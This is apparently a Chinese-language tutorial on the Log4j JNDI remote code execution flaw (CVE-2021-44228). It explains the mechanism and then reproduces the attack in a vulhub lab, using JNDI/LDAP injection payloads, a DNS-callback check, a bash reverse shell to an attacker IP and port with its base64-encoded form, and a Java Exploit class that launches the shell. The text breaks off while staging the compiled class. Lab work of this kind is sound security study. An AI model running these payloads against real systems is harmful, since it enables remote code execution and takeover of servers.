log4j远程代码执行漏洞
一：漏洞概述
Log4j漏洞是由于Log4j 2在处理日志消息中的JNDI（Java Naming and Directory Interface）查找时存在的不安全实现而引发的。攻击者可以通过特制的日志消息利用此漏洞，从而使Log4j在处理日志消息时，连接到恶意的LDAP服务器并执行任意代码。
二：漏洞原理
攻击者构造payload，在JNDI接口lookup查询进行注入，payload为${jndi:ldap:恶意url/poc}，JNDI会去对应的服务（如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap）查找资源，由于lookup的出栈没做限制，最终指向了攻击者部署好的恶意站点，下载了远程的恶意class，最终造成了远程代码执行rce。
log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。
攻击者可以利用这一点进行JNDI注入，使得受害者请求远程服务来链接本地对象，在lookup的{}里面构造payload，调用JNDI服务（LDAP）向攻击者提前部署好的恶意站点获取恶意的.class对象，造成了远程代码执行（可反弹shell到指定服务器）。
三：漏洞利用
攻击者利用该漏洞的步骤如下：
- 构造恶意日志消息：攻击者创建一个包含JNDI查找请求的特制字符串，例如
${jndi:ldap://attacker.com/a}。 - 日志记录：该字符串被应用程序记录到日志中。
- JNDI查找：Log4j在处理这条日志消息时，会解析JNDI查找请求并尝试连接到指定的LDAP服务器。
- 恶意代码执行：如果LDAP服务器返回一个恶意的Java类，Log4j将加载并执行该类中的代码，从而使攻击者能够在目标系统上执行任意代码。
lookup功能：
- Lookup 是一种查找机制，用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式，可以在日志消息中引用、解析和插入各种上下文相关的信息。
- log4j中除了sys解析器外，还有很多其他类型的解析器。其中，jndi 解析器就是本次漏洞的源头
JNDI解析器：
-
JND全称为Java命名和目录接口，提供了命名服务和目录服务，允许从指定的远程服务器获取并加载对象，JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
-
正常的包含jndi的日志记录方式如下：
-
logger.info("system propety: ${jndi:schema://url}"); -
log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。
-
jdk将从url指定的路径下载一段字节流，并将其反序列化为Java对象，作为jndi返回。反序列化过程中，即会执行字节流中包含的程序。
-
攻击者如何控制服务器上记录的日志内容呢？
-
大部分web服务程序都会对用户输入进行日志记录。例如：用户访问了哪些url，有哪些关键的输入等，都会被作为参数送到log4j中，我们在这些地方写上
${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。
ldap服务：
LDAP(轻型目录访问协议)是一个开放的，中立的，工业标准的应用协议，
通过IP协议提供访问 控制和维护分布式信息的目录信息。
目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈 树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。
RMI：
RMI（远程方法调用）：它是一种机制，能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。
四：漏洞复现
1、漏洞环境
启动靶机
cd /vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
遇到的问题
docker-compose up -d拉取不了
- 报错显示
- 意思就是docker在守护进程连接的时候，TLs三次握手失败，属于是网络不行
一开始认为是DNS解析地址错误
招到地址解析文件，修改为如下所示
重新拉取，失败
然后，继续百度找大佬解决问题
发现可以添加国内的加速服务，命令如下
首先需要创建daemon.json
vim /etc/docker/daemon.json创建并编辑，在复制下面代码
`{
点击查看代码
`{
"registry-mirrors": ["https://registry.docker-cn.com","https://y4xpdpoy.mirror.aliyuncs.com"]
}`
成功拉取镜像
2、访问靶机
ip:8983访问
访问成功
3、登录网站dns回显网站
http://ceye.io/
根据身份标识符，构造payload，查看cecy是否返回数据。
4、DNS回显验证
http://111.173.104.122:8983/solr/admin/cores?action=${jndi:ldap://w3caue.ceye.io}
成功回显
5、反弹shell方法一之编写恶意class文件
1、编写以下的恶意文件Exploit.java
bash -i >& /dev/tcp/47.236.108.184/7777 0>&1我们需要反弹shell到47.236.108.184的7777端口，所以命令这样写
2、然后对上述命令进行base64编码，这里给出一个网站，可以直接进行payload的编码：https://ares-x.com/tools/runtime-exec
3、编码结果为：bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTA4LjE4NC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
4、然后可以写恶意文件了
点击查看代码
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
6、把编译好的文件放到攻击机上